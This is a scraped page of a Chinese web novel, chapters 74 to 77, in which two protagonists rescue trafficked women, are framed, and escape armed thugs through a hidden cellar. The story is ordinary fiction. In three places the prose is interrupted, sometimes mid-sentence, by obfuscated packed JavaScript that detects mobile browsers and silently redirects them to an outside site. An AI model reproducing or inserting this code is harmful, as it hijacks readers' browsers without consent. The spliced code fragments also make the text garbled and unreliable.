d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17079531|190916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 险地翻了出去。 保安队长气喘吁吁,把手里的橡皮棍一扔:“追,快追!” 手下呼哧着问:“不、不报警吗?” “报锤子警!”他大骂:“张医生不让报警!” 夜色中,一辆黑色SUV拨开树荫层叠的林子,在清水镇中悄无声息地转了一圈,拉齐了十二个人,默默地驶向柳北。 姑娘们劫后余生,尽是后怕,抽抽噎噎地对大家道谢,给黄毛谢得红了脸。 他这辈子人厌狗嫌,哪做过这么让人热血沸腾的事,哪听过小姑娘这么真挚的道谢? 他拍了一把齐寻的胳膊:“哥,你们到底干嘛的,侠盗团?” 齐寻眉头轻轻一抽,胳膊上被玻璃划伤的血口,又密密地渗出血珠来。 “白蛇,你这伤不管吗?”大山问:“要不要找个卫生所停一下,包扎一下?” 齐寻面沉似水:“不,别停,直接开到柳北。” 医院已经知道他们逃脱了,张医生通知谭志群,谭志群再通知蔡道全,就是两通电话的事。 他无所谓,可他还有人质在柳北。 “到了柳北,我就顾不上你们了,”齐寻道:“你们负责把她们送回家,然后别停留,直接回京屿。” 他一连给黎叙闻发了四五条信息,那边一条都没回。 好在她跟影姐她们在一起,他想,只要他比他们先到,就能护得住她。 她不会有事的。 一定不会的。 可他心心念念人,此刻却并不在他所以为的安全屋,而是在最危险的地方与虎谋皮。 一顿鸿门宴竟也算得上宾主尽欢,蔡道全待客的饭店就在他公司旁边,他上车离开前,交代吴檀去给黎叙闻找“资料”。 “跟黎大记者加个微信,务必,”他拍着吴檀的肩:“务必满足黎小姐的条件。” 吴檀沉默地一点头,目送着那辆劳斯莱斯离开,转身道:“请跟我上来。” 黎叙闻木着一张脸,远远跟在她身后,听着她高跟鞋敲在地砖上嗒嗒作响,心里的厌恶越来越盛。 而这种厌恶,在她看见吴檀那间媲美老板标准的办公室时达到了巅峰。 吴檀指着她那套一看就巨贵的沙发:“坐,我这东西多,得找找。” 黎叙闻偏不坐,在办公室四处溜达:“贵司现在还用纸质资料?到底家大业大。” “我个人的习惯,各种重要文件,都喜欢打印保存。” 黎叙闻心里冷笑:谁问你了。 脚底下就慢慢地溜达到办公桌旁,盯着吴檀在那堆淹死人的纸里翻。 仅仅是一闪而过,黎叙闻看见她翻阅的纸页中,闪现了“英才汇”三个字。 英才汇?那不是运营“她计划”人力公司吗? 吴檀说这些都是“重要文件”,那么涉及英才汇的重要文件…… 会是证据吗? “找到了,”吴檀抽出一厚叠文件交给她:“黎小姐拿好。” 她死死盯着桌上那一叠纸,它们随着吴檀手指的动作,迅速隐没在了纸堆里。 既然看见了,就没有放过的道理,今天她必须拿到这些东西。 黎叙闻犹豫片刻,甚至开始环顾四周,看有没有什么趁手的摆件,能一击就把吴檀砸晕。 不然就徒手…… 正当她纠结作案工具的时候,吴檀的手机忽然响了。 她抬头看了黎叙闻一眼,对她歉意一笑,径直出了办公室,接电话去了。 黎叙闻:“……” 这一切,顺利得都像一场阴谋。 但她顾不得犹豫,一把抓过那叠文件翻看起来。 她听见自己的呼吸凌乱之极,吴檀接电话的声音近在咫尺,随时都有可能转身进来,只要吴檀看见这一幕,她今天就绝对走不了了。 纸张在指尖摩擦的声音蓦地被一阵杂乱的脚步声盖过,间或夹杂着朦胧的对话,听声音,好像直直冲着办公室的方向过来了! 黎叙闻屏住呼吸,后颈几乎滴下汗来,手底下一刻都不敢停,可那两份关键文件像凭空消失了似的,就是找不到。 她听见吴檀从门口离开,声音模糊地在走廊尽头响起,听不清说了什么,但少倾,她的高跟鞋又踩着笃笃的足音,快步回来了。 与此同时,黎叙闻眼睛一亮。 找到了! 她迅速抽出那几份资料,插入吴檀交给她的文件中,就在这一秒,吴檀从办公室门口探进头来:“黎记者,走吧。” 75. 第 75 章 一回到柳北,齐寻顾不上安顿任何,几乎是跳下车的。 此时刚过晚上十点,步行街跟往常一样烟火缭绕,熙攘热闹。 齐寻心里同样火烧火燎,快步穿过步行街,正要抬脚往巷子里走,偏有人从后面拽住了他。 他不耐地一回头,竟是一脸慌乱的黄毛:“哥,我听我兄弟说,影姐的发廊让人给砸了!” 齐寻眼眶蓦地一紧。 那一瞬间,他清晰地听到了血液从头顶俯冲而下,灌满了耳膜的声音。 面前的小巷又黑又静,像一条不知通往哪个结局的通道,幽幽地张着黑洞洞的嘴,等着他往里走。 他掏出手机,微信还是没有一点动静,想拨个电话过去,又担心弄巧成拙,最后一把甩开黄毛,踏进了巷子里。 巷尾出的三色转灯已经停了,在月色下一片晦暗。 热闹只在他身后一墙之隔,一方小巷中,夜色浓稠而冰凉。齐寻脚步放得极轻,呼吸都不敢大声,生怕谁意识到了他的存在。 那扇白色的推拉门玻璃已被砸碎,门框裂成两半,随意地丢在地上。 月色几乎照不穿里面的黑,只描出一线工具车倾倒在地的反光,空气里弥漫着刺鼻的化学品气味,瓶瓶罐罐凌乱地洒了一地。 没有人? 那她在哪里? 耳边静极了,脑子里崩溃一般的想法却你来我往喧闹不休。 齐寻闭了闭眼,甩开这些纷乱的思绪,深吸一口气,一步踏进店里,“闻闻”两个字还没叫出口,脖颈处忽然传来一阵刺骨的寒意—— 一块冰凉、颤抖的尖利物蓦地顶在了他的颈动脉上。 他屏着呼吸,慢慢垂下眼,借着月光,顶在他脖颈上的那块碎玻璃正闪着寒光,再稍用力,它就会毫不犹豫地刺穿皮肤。 “别动,”呼吸比声音更先出卖她:“再往前一步我就弄死你。” 就这么一句,齐寻险些当场掉泪了。 他猛地松了口气,掩掉一点鼻音:“闻闻……” 玻璃当啷坠地,黎叙闻在黑暗中小心地叫他:“齐寻?” 下一秒齐寻一把将她拉进怀里:“你手机呢?为什么不回我消息?” 黎叙闻在伏在他胸口好久,才说:“没电了。” “没电?”齐寻立刻意识到不对,扳着她的肩,低头问:“你今天去哪了?” “去跟蔡道全吃了顿饭,回来就突然这样了,”她眸子亮如寒星:“你有什么头绪吗?” 她从吴檀那里出来,一上车就把文件拍给了靳言,拜托她找人看看能不能从里面发现什么问题。电话刚挂断,她手机就开始涌入无数陌生号码来电,还没来得及关机,手机就先没电了。 她一头雾水,以为今天这场鸿门宴总能争取几天时间,直到她回到柳北,看见街上有几个形迹可疑的人在打听影姐的发廊。 柳北地方太小,她呆久了,人人都能混个脸熟,这几个面目凶狠、满身戾气的男人,她从来没见过。 一线极细极亮的思绪突然照破她的脑海,她抱紧证据文件便开始拔足狂奔,冲回发廊,将一脸懵懂的影姐和珍妮连拖带拽地拉到瑶瑶那里,凳子都还没坐热,外面忽然一阵嘈杂,紧接着就有人喊:“影姐!影姐呢!有人来你家闹事了呀你不管?!” 黎叙闻一把按住要往外冲的影姐,把事情简单交代了下,等外面声音平息,她又一个人悄悄地回到了理发店。 她知道,齐寻一定会回去找她。 黎叙闻独自隐在一片狼藉的黑暗处,盯着门洞里投下的那一小片月光,背后全是黏腻的冷汗。 穷尽所有可能,只剩下一个答案——齐寻那边出事了。 昨天晚上为什么要说那种话让他难受,她在潮湿的夜里问自己,人跟人之间见一面就少一面,最后可能相见不相识,她不是早就知道么。 这些话,齐寻在她惊魂未定的眼睛里,全都看到了。 原来他去救人的时候,闻闻就跟那老狐狸坐在一起…… 万一他们行动得太早了呢?万一事情败露时,她正跟蔡道全坐在同一张桌子上吃饭……那她还回得来吗? 万一她在路上被截住,连求救都没机会,她该有多无助多害怕? 齐寻忍不住摸摸她的脸,一咬牙,打算她怎么骂都认下:“昨天晚上那几个姑娘,救下来了。” 黎叙闻瞪大眼睛眨了眨,慢半拍似地问:“救下来了?” “嗯,最后出了点纰漏……” 他话说得很慢,后半句“连累你受了惊吓”还没来得及出口,就被她一个扎实的拥抱结结实实顶了回去。 她明明怕极了,环着他脖颈的手臂还在战栗,笑得却释然:“不愧是你啊!” 齐寻在这个拥抱里,彻底失去了自己的声音。 半晌,他才道:“可是你差点……” “不,不是差点,他们没有抓住我,他们拿我没办法,”黎叙闻一根手指封住他的嘴唇:“即使蔡道全收到消息的时候我就坐在他面前,我也有办法全身而退。” 齐寻挨着她冰凉手指的嘴唇,在细细地抖。 他一言不发地回抱她,把眼睛深深迈进她颈窝,手臂用力到发抖,几乎要将她按进身体里。 “齐寻,”她披着月光,摩挲他的头发,轻声说:“我不会那么容易就死掉的。” 她感觉到抵着她肩头的喉结在深深咽动,一声很小很轻的回应,融进他不可抑制加快的呼吸里。 黑夜静得吓人,外面看不清晰的轮廓里,不知道藏了多少双眼睛。 他们彼此交缠的气息中,忽然融入了巷口踢踏的脚步声。 “齐寻,”黎叙闻挣扎着想放开他:“有人来了!” 齐寻不肯,变本加厉把她揉进怀里:“是影姐,带着珍妮。” 果然没多一会儿,两条被拉得细长的影子慢慢地走了进来。 黎叙闻拉她们进来,转身拉下卷帘门,原本小小一隅月光被隔绝,屋内彻底陷入漆黑。 齐寻起身去开灯,却发现保险丝被人剪了,只能招呼珍妮去拿蜡烛。 黎叙闻低声问:“你们怎么回来了?不是让你们在那边住一晚上?” 影姐隐在一片黑暗里,低着头不说话。 倒是珍妮,边点蜡烛,边冲着门口就骂起来了:“耳根子比骨头软,外面人说两句就信了,这么多年白帮你们了!” 黎叙闻扬起眉:“怎么回事?让人赶出来了?” 珍妮骂骂咧咧,把刚刚被赶出来的细节,一五一十跟他们说了。 那些人来砸店闹事,不是没有由头的,那样很容易把警察招来。 他们假装是之前受害者的家属,到柳北来,把“她计划”的真相半真半假地散播开,甚至拿出了其中几个女人不堪折磨形销骨立的视频。影姐摇身一变,从给大家找工作、带孩子的活菩萨,变成了众口铄金的凶手。 更关键的是,书影承认了。 她只是一味低着头,然后顶着昔日里街坊邻里的辱骂和质问,认下这些她早就给自己判决了的罪行。 她们是被瑶瑶和她老板赶出来的,出门时,已有好些人围在门口指指点点,议论纷纷,显然也是听说了“真相”。 “想不到哦啧啧,平日里么吆五喝六的,钞票不知道都拿哪里去了!”“这么大的事,要么报警吧?”“噫人家说了不能报警,到时候把丫头们撕票了。” ——他们既没有要钱,也没有伤人,只是到处叫骂,闹得满城风雨。 黎叙闻听得心里一阵阵恶寒,胳膊上起了一层鸡皮疙瘩。 这招釜底抽薪太恶毒了,直接把他们跟整个柳北割裂开,他们四个人被彻底孤立,无论遇到什么,哪怕是为了避嫌,都不会有人出手帮他们了。 影姐无措地站在原地,一声不吭,眼泪成串落下,染着烛光,一滴一滴烫进黎叙闻心里。 一个小时前她还是人人称道的领头羊,有办法有本事,是这些无路可退的女人们的主心骨,现在就成了人人喊打的杀人凶手。 而之前的一切也都是假的,她被人捉弄,让人利用,把别人递过来的炮弹当糖吃,还信誓旦旦地分给别人,不知道害了多少人。 可一开始,她不过是想让她们过上好日子,不再步自己的后尘而已。 世事纷杂,一句对错又如何说得清? “现在还不是最糟糕的时候,我们得早做打算,”齐寻顿了顿,目光从砸得一片狼藉的店铺扫过:“众目睽睽之下带走我们,毕竟说不过去,他们应该是打定了注意,等邻里都睡了,无人再看热闹,直接把我们一网打尽。” 珍妮听得几乎坐不住了,急急道:“如果我们趁大家还醒着,直接跑路呢?” “你是不是忘了你们是被谁赶出来的?”黎叙闻苦笑:“那可是瑶瑶,你跟影姐帮她带过一年多的孩子,她都能这样划清界限,那其他人呢?会由得我们大摇大摆离开?” 齐寻冷笑了声:“难怪处心积虑把我们赶到一起……影姐收拾好东西,一会儿夜深人静,咱们得在他们动手之前,直接离开柳北。” 书影抱着膝盖坐在地上,没有起身,也没有回应,珍妮在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17082646|190916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身边悄声叫了她好几声,她才如梦初醒。 她摸了一把额头上被人砸的红肿处:“我这辈子,也就攒下这么个理发店,离了这,我还能到哪去?” “有我呢!”珍妮抱住她的胳膊,急道:“我年轻,有得是力气,就算是扛大包,我也养得活你!” 齐寻都听不下去:“人言可畏,你在这不会有好日子过的。” 黎叙闻看着她低垂的眼,却一言不发。 她知道,资产、去处,这些都不是关键,书影心结的关键在于,那些不是谣言,那些都是真的。 她真的亲手把那些对未来充满美好向往的女人,送上了一条没有尊严、没有光明的不归路。 一个人不能背着这样的债过日子,否则就会像黎策一样,被那些过往压断脊梁。 她在等她自己面对,自己说出来。 书影沉默了很长时间,久到她几乎要问出口,要逼她面对的时候,才哑着声音开口:“在这就算被打死,我也认了。” 黎叙闻笑了声:“这就是你的办法,在这等死?” 书影蓦地抬头,嘴唇抖了一下,红着眼问:“那你说!你让我咋赎?” 她的肩膀剧烈起伏着,眼睛通红,像是终于让自己站在了审判席上,“我害了这么多人,我怎么洗得清?” “我问过律师了,”黎叙闻道:“你的情况属于毫不知情、且从未有过怀疑,一般来说不会被起诉。你要真想赎罪,到时候就出庭做证人,告诉所有人这么些年他们是怎么骗你、你怎么望眼欲穿等那些受害者的电话、又是怎么差点被骗得把自己的‘养女’都送出去。舆论一定会把你踩到尘埃里,但谁都无法否认,终结这场罪孽,有你一份不可抹杀的功劳。” 她透过跳动的烛火望着书影茫然的脸:“你是要烂在这个小县城里,还是尽可能保全自己,直到看到那些人倒台的那一天,你选。” 听到最后,书影已经泣不成声了。 但她连抽噎声都不敢发出来,生怕惊动了暗中窥伺的人,只能死死咬着嘴唇,不再纤细的身体在背后的月光中一耸一耸,像一座行将倾塌的山。 齐寻慢慢道:“别的不说,在京屿给你们找一片遮头瓦,我们还是做得到的。” 烛光渗进书影眼角的皱纹,她默不作声地低下了头。 可何去何从都是后话,现在的当务之急,是如何从这个四面八方都是蔡道全耳目的发廊中安全脱身。 外面忽然“咚”一声,卷帘门发出一声颤抖,有人对着围观群众演得出神入化:“我们也不是强盗,不强闯,我们就在着等她给我们一个交代!” 月至中天,凌晨微凉的空气凝成一片虚假的静默,包裹住巷道中的这一隅。 人人都知道今天晚上可能有事发生,人人都紧闭门窗,只留一双窥伺的眼睛。 四人坐在一片昏暗烛光里,黎叙闻看了一眼外面,道:“我回来时看到有人在问路,至少五个人,穿着普通,但都很结实。” “不止,现在这周围,差不多就有四个人在。”齐寻思索:“既然蔡道全跳过讲条件,直接来抓人,就一定志在必得,外面巷口可能还有埋伏。” 他们四个人,要在这种敌暗我明、连对方有多少人都不知道的情况下全身而退,几乎不可能。 “实在不行,报警是不是也可行?”齐寻问道。 “不行!”黎叙闻立刻否决:“他们来闹事的理由是影姐参与拐卖人口,这是多严重的指控,一旦报警她一定会被扣在柳北,到时候蔡道全有得是办法让她开不了口。” 巷尾的樟树在月影中晃了晃,投下一缕鬼魅似的影子,摇动它的夜风里,送来四面八方窥探的眼神,乘着风潜行而来。 书影侧耳听了一阵,忽然说:“他们日厌的是我,要打要砸的也是我,你们三个走,应该不要紧的。”停了停,又说:“报警也行,不用管我。” 黎叙闻一把拉住她的手腕:“我们不是出于私情保护你,而是因为你是重要证人。你是唯一一个参与了全程、知道发生了什么的人,即便是为了真相,你也得好好活着。” 她太懂书影在想什么了,这个饱经沧桑的女人,想最后做一件好事,自己留下,把他们安全送出去。 比起“你是一个值得我们豁出命去保护的人”,书影更能接受的,是“留着你还有用”。 果然,书影愣了好几秒,终于咬着牙,狠狠点了点头。 夜色已沉到极致。 “时间差不多了,今晚谁都不许落下。”齐寻站起来,光在他侧脸勾出一道冷峻轮廓:“走。” 76. 第 76 章 一片薄薄的满月贴在树梢上,树影无声但狰狞地斜投在青灰色的墙上,撕碎了巷尾拐角处的昏暗人影。 那影子立着一头毛寸,从起伏的鼻子下方伸出一条细长的烟,牙齿百无聊赖地上下咬着,烟影耸动。 毛寸拿出火机想点烟,想了想又烦躁地放回去,看了眼手机,时间差不多了。 夜风带着潮气渗进衣领,提醒他这一晚的憋屈。他本想速战速决,奈何老板三令五申“不许惊动警方”,想出这么个破招,逼他们在这破地方守了这么久。 他心里暗骂:“怕个屁,直接一窝端不就完了?” 这四个人,缩头乌龟一样,把门一拉,还以为躲着就万无一失了。他闭着眼睛都能把人带走,半个小时就够…… 后半句尚未在他脑中成形,只听一声涩哑的刺响,他眼前一花,只看见一个不大的瓶子在空中划过一道银线,直直抛入他怀中。 “操!”毛寸本能地伸手去接,瓶身滚烫,一股呛鼻的白烟瞬间喷涌而出,辣得他眼泪直流,喉咙像咽了口火一样剧痛。 他猛地随手一甩,刚要吼人去抓,嘭一声巨响,瓶子竟然在他脚边爆炸了! 烟雾猛地窜进他的鼻腔,呛得他猛咳几声,伸手去抓腰里的折叠刀,怒吼一声:“抓人!” 发廊四周像约好了似地,不约而同溅起爆裂的浓烟,咳嗽声和骂娘声不绝于耳, 烟雾瞬间溢满整条巷道,弥漫得像从地下爬出的鬼影。咳嗽声、骂娘声乱作一团,整个街口被彻底搅乱。 趁着这小小的混乱,发廊卷帘门里迅速窜出四道身影,压低身体,以最快的速度钻入夜色之中。 刚踏出卷帘门,一个黑影就从烟雾里冲出来,黎叙闻本能侧身躲过,但对方已经伸手抓住了她的胳膊。 齐寻反手扭住那人手腕上,手腕被硬生生折开一个角度,惨叫声爆裂一般响起。 黎叙闻抬脚一通猛踹,那人终于被踹倒在地。 在烟雾中弯腰开溜,珍妮被呛得流泪:“就跟你说了便宜没好货,你这染发剂要是真的我把头给你。” 书影理直气壮:“要买了好的今天不就走不了了?” 珍妮一愣:“也是……” 齐寻把她俩护在身前,跟黎叙闻走在后方,低声道:“别聊了,快走。” 这种小伎俩造成的混乱时间极短,浓烟很快便四散在潮湿的夜风里。 巷口守着的两人没被波及,听见动静拔脚就往巷道深处去,却隐约听见几道刻意压低的脚步声。 下一秒,黑影从烟雾中猛地扑来! 齐寻先发制人,上前一步,拳头像一记重锤,狠狠砸向其中一人的鼻梁! 那人没有防备躲闪不及,痛呼一声,鲜血顿时喷涌而出,向后仰倒在地。 另一人见状,眼睛骤红,捏起拳就冲齐寻的胸口砸来,刚靠近两步,下巴在突刺来的横肘下咔地一歪,脸往后一扬,后脑勺结结实实撞在水泥墙上,整个人沿着墙缓缓滑下。 气势汹汹的两人转眼□□倒,齐寻偏头笑道:“可以啊黎记者。” 黎叙闻揉着手肘:“过奖了齐老师。” 被控在巷尾的毛寸终于挣脱出来,气急败坏:“人跑出来了!都给我打起精神围住了!” 柳北别的没有,就是巷子多,这些巷道有的平直,有的歪七扭八,阡陌交通,互相勾连,本地人轻车熟路,外人很容易陷在里面。 于是四人放弃了宽大的步行街,由珍妮带着,从发廊的短巷中脱身,专往巷道的交汇处钻。 珍妮带着他们拼命往前狂奔:“这里我记得能出去,到了邻镇,咱们就……” 她拐弯后猛地一刹,鞋底在青砖地上打了个滑。 “妈的……”她盯着面前的人,声音都颤了下。 对面两个人,守在巷口拎着胶棍,正对着她咧嘴冷笑。 珍妮转身就想跑,两人伸长了手去够她,呼啸着向他们奔过来。 “啊——”珍妮尖叫着闭上眼睛,慌乱地去拧手上的瓶子,关键时刻却怎么都打不开盖,吓得转身一头撞进黎叙闻怀里。 黑影一晃,胶棍破风而至。 齐寻甚至没看对方,听风就知道落点。他微微后仰,刀刃般削过棍影,脚下一错,身形突进,一只手横挡住珍妮,另一只手蓦地攥住胶棍。 对方爆发出一股蛮力要抽棍,他手臂向下一沉一转,干脆利落地卸了对方的力道,顺势一脚踹在那人腹部,对方像风筝一般倒飞出去,砸在了墙上。 与此同时,黎叙闻也拧开发胶,对准另一人猝不及防地喷去。 喷雾的刺激气息弥漫在潮湿的空气中,对方痛呼一声,胡乱挥舞着手臂,试图摸索方向。 黎叙闻想上去补刀,手腕却被齐寻扣住:“后面追上来了!” 巷道深处传来迅速靠近的脚步声,踩碎了一地潮湿的落叶和砂砾。 剥落的水泥墙煌煌震动,送来不远处对手的消息,齐寻张开五指贴在潮湿的青砖表面—— 他们后面追来的有三人,隔壁巷道往这边赶的有两个,在往前走,在巷口守株待兔的还有两个。 密密麻麻的脚步声快速向他们围拢而来,不知是不是错觉,好像连风梢里,都带上了一点不明显的血腥气。 他蹲身捡了块板砖拎在手里,径自走到最前:“人多了,小心。” 话音未落,前方蓦地冲出两个黑影,逆着昏黄灯辉显得格外狰狞,手上握着的匕首在幽光里泛出一股冷冽寒光。 齐寻不闪不避,大步向前,硬用小臂挡开了锋刃,冰冷刀刃擦过他的皮肉,趁对方手腕微微回收的一瞬间,肩膀猛地一沉,狠狠撞进对方胸膛。 那人只觉肺部一窒,喉间一甜,一口气险些上不来喘不上来,踉跄着跌进角落的杂物堆里。 齐寻手臂火辣辣地痛,却顾不上管,反手一砖头拍上另一人的额头,那人没来得及出声,就软绵绵倒在了地上。 他垂眼看了眼小臂上豁开的一道血口,面无表情抹掉血迹,捡走了那柄匕首。 巷道两边的青墙夹出一道窄窄的路,后方挤进三个人,手上掂着撬棍,正盯着负隅顽抗的猎物,缓缓地逼近。 黎叙闻一只手把书影护在后面,迅速以余光观察四周。 沿街小店门窗紧闭,连窗帘都拉得死紧。 巷道上方的矮墙上守着两个人,一瞬不瞬地盯着他们的动向。 身后的巷尾,传来纷乱而密集的足音。 ——他们四个人,被对方以数倍的人数,活活堵在了这条羊肠小巷里。 巷道尽头,十几个人黑压压堵着出口,却没有立刻扑上来,只是慢慢逼近,像是猎人耐心等着猎物耗尽力气。 风里带着飘散而来的铁腥气。 毛寸站在最前,手指关节被他挨个掰响,静得吓人的夜晚,这声声脆响像催命鼓。 “别躲了,就是请你们回去喝个茶,”他语气轻飘飘的:“趁哥几个还愿意讲道理,你们也别闹太难看。” 珍妮不忿地大喊:“鬼才信你!滚啊!” 毛寸搓了个口哨,笑意更深:“小姑娘,脾气挺辣。” 又懒散地转而挑拨齐寻:“兄弟,我知道你是被卷进来的,为了个女人丢了命,不值当。” 黎叙闻在最后,在自己杂乱的心跳声中盯着齐寻的背影。 自言自语似地,她微不可查地叫:“齐寻……” 当啷! 金属坠地的尖锐脆响陡然响起,直直插进她的心脏。 黎叙闻慢慢地闭上眼睛。 也好吧,她想,如果他能自己出去…… “说得很有道理,”齐寻扔掉匕首,举着双手,缓步走向毛寸。 他神色疲惫,手臂还在流血:“那就麻烦兄弟,行个方便——” 下一秒,变故陡生! 他脚下蓦地错开几步,敏捷地一拧身,在所有人反应过来之前,猛地欺身上前。 毛寸骂了一声,条件反射地抬手格挡,却在碰到齐寻的前一秒,整个人都被死死箍住。 齐寻电光火石间便闪到毛寸身后,一手反剪住他的双手,另一只手横臂勒住他脖颈,在他耳边狠厉道:“让你的人散开。” 他手臂稍稍一收,毛寸的气息就陡然断了,只能涨红着脸,对巷头巷尾的人使劲摆头。 围堵他们的黑影迟疑了几秒,缓缓地散开,也带走了压在黎叙闻心上的疑云。 她在想什么,难道齐寻真的会扔下她不管吗? 这时珍妮拉住她的衣角,在她耳边悄声道:“我知道一个地方……” 黎叙闻警觉地侧耳听了,带着她们走到齐寻身后,从背后轻轻勾住了他的皮带。 齐寻向后小幅度偏了下头,随即俯下.身,对被他压在身前的毛寸道:“别耍心眼,跟我走,为了那点钱丢了命,不值当。” 毛寸的脸已经涨成猪肝色,背后的手一松,他咬牙费了大力,才抬了抬手,对手下作了个手势,手下们死死盯着这滑不留手的一行四人,将步速压到最慢,一步不舍地缓缓跟进。 珍妮很聪明,专挑又窄又挤的巷道,那群人挤不进,只能远远地跟着,不知蹭过了多少个墙角,珍妮才悄声对齐寻道:“差不多了。” 齐寻一点头,手臂一松,毛寸整个人没骨头似地滑向地上,还没喘匀气,右肩忽然袭来一阵钝痛——他肩膀让人给卸了! 他倒在地上,世界在他眼中变成了横屏,他看见那个可怖的男人漠然地看了他一眼,便跟着离开了。 他们奔向的,是一间隐在巷道深处、摇摇欲坠的废弃木屋。 估计是年久失修,木材都已经腐朽,互相搭连的木板松散异常,空隙间溢进如水月光,汩汩地灌满整个房间。 脚下地板被四人凌乱的脚步踩得嘎吱作响,齐寻最后一个进来,插上聊胜于无的门栓,屏气凝神听了一阵。 外面风声渐起,远远飘来纷杂的足音和叫骂。 “齐寻!”黎叙闻拉他:“快走,里屋有地窖,连着外面。” 这里已经接近柳北边缘,只要从这里出去,外面天大地大,蔡道全的人将再找不到他们的踪迹。 齐寻跟着她钻进里屋,空气里弥漫着潮湿灰尘的腐烂气味,窗户旁边的角落堆着顶至天花板的杂物,他们脚步一重,隐在墙影里的轮廓就跟着危险地晃动。 而在窗户边缘的地板上,有一方极不起眼的暗门,此时月光朗照,隐隐被勾勒出一块模糊凸起的把手。 珍妮动作麻利地将它拉开,桌面大的涵洞露出了形迹,泥土的气味混杂着腐木的味道破门而出。黎叙闻往里探头一瞧,里面空间宽敞,四壁生着苔藓,估计很久没人走过了。 “我刚来那会儿发现的,”珍妮一矮身便轻松钻进去:“通到郊外呢,跑路很方便!” 书影也毫不犹豫跟着她下去,冲着上面伸出手:“闻闻,来。” 黎叙闻却回身推齐寻:“你先下。” 齐寻不动,看着她笑:“怎么,怕我跑了?”他俯身凑近,问她:“刚刚我那一下,你害怕了么?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她的一切纠结、拒绝、故作的冷淡和犹疑,还有来不及说的不舍和痛心,全部跟着这个并不柔软的吻,一起融化在了冰冷的月光里。 她早该吻他的。 “这个是你欠我的,”她红着眼眶,看着他的眼睛,一字一句地说:“全须全尾回来,然后连本带息还给我。” 齐寻笑了,伸手揉乱她的头发,然后迅速关上了地窖的入口。 那一点点光,就在黎叙闻的面前缓缓合拢,然后彻底消失了。 她咬住自己的手腕,沉默着站了几秒,转身哑着嗓子道:“快走。” 转身之前,她甚至听见了无数鞋跟踏进里屋的沉重纷杂的回音。 毛寸进来时,看到的就是这副光景:他所想象的,四个人缩在角落里瑟瑟发抖,引颈就戮的画面并没有出现,只有那个挟持了他一路的高大男人靠在窗边,双手抱着胸,半张脸沐浴在月光里,锋锐的轮廓几乎生出令人生怖的杀意。 他甚至有余裕抬头笑了下:“没用多久,不算笨。” 毛寸在手下面前失了面子,又受了伤,这时候简直出离愤怒:“狗日的……你以为你放跑她们,我们就没办法了?” 他近乎癫狂地摊开手:“这是哪?柳北!多大点地方?她们只要躲,我这么多人,挨家挨户搜,也把她们搜出来!你喜欢的那个,是个记者吧?”他轻浮地搓起嘴唇,吹了声哨:“到时候我就把她扒光了,扔在高速上,让过来过去的兄弟们都好好开开眼!” 毛寸大笑,他身后的打手们也跟着笑,声音大得几乎掀翻了木屋的屋顶。 齐寻扬起唇角:“你能怎样,在这里弄死我?” 毛寸被刺激得失了理智,怒吼道:“你以为我不敢吗?” 齐寻轻描淡写地笑着,连答话都免了。 毛寸缓缓眯起眼睛,仔仔细细地打量这个男人。 不对,他太放松了。 那三个女的里面有他的姘头,看起来感情挺好,都被堵到家门口了,他为什么一点紧张的表情都没有? 就算不跪地求饶,难道也不心慌流汗吗? 月亮沿着轨迹西斜,此时渐渐照亮了齐寻脚下挡住的一方黑暗。 一道雪亮森冷的反光,从暗处慢慢现了原型。 毛寸视线在他脚下微微一顿,蓦地大笑:“我说你怎么一个人留下来送死……她们,”他抬手,指向齐寻脚下的门:“在那儿吧?” 齐寻沉着脸,既不动手,也不否认,只是在一片惨白的光里,冷沉沉地盯着他。 毛寸短促地一笑,一招手:“来,给我……” 话没说完,齐寻蓦地抬腿,一脚踹向旁边的角落,累叠的杂物轰然倒塌,扬起一阵呛人的灰尘,零零碎碎散落了一地。 正好倒在他们两人之间。 毛寸脸色瞬间变了,他眼睁睁看着齐寻从口袋里摸出一个火机,砂轮咔嚓一声,简直像碾在他的神经上。 齐寻眼睛盯着毛寸,手一扬,直接将火机扔进了杂物堆。 轰地一声,火苗瞬间引燃了散落在地的杂物,火焰迅速蔓延开来,将一地杂物和木质地板烧得哔啵作响。 空气中充满了烧焦的气味,熊熊火光映着他俊朗但毫无波澜的脸,宛如修罗。 毛寸被燎得后退了半步,瞳孔几乎缩到极致,对着齐寻怒吼:“你他妈疯了!你也会被烧死的!” “无所谓,”齐寻平静道:“但只要你过来,我就让你死。” 77. 第 77 章 阴冷潮湿的涵洞里,潮气沾湿了三人的衣衫,只有黎叙闻手机的手电筒,在身前照出的一隅光亮。 珍妮伸长脖子望:“马上了,该到了……” 她脚下一滑,一头磕在旁边的洞壁上,哎呦一声,紧接着叫道:“闻姐,关手电!” 黎叙闻立刻熄了光,就看见远处石阶上方立着一扇半掩的门,有稀薄月光从缝隙中透进来。 她加快脚步,几乎小跑上去,把铁门稍稍推开一点,借着透进来的一点光,小心地打量。 是一间半地下的储藏室,看起来像半成品,洞壁都是巨大的岩石块,空间不算大,地上凌乱地堆着些锅碗瓢盆之类的旧物,还有几个散落在地的木箱子,发出一股陈旧潮湿的气味。 原来地窖的另一端,连着的是城郊一处废弃的仓库。 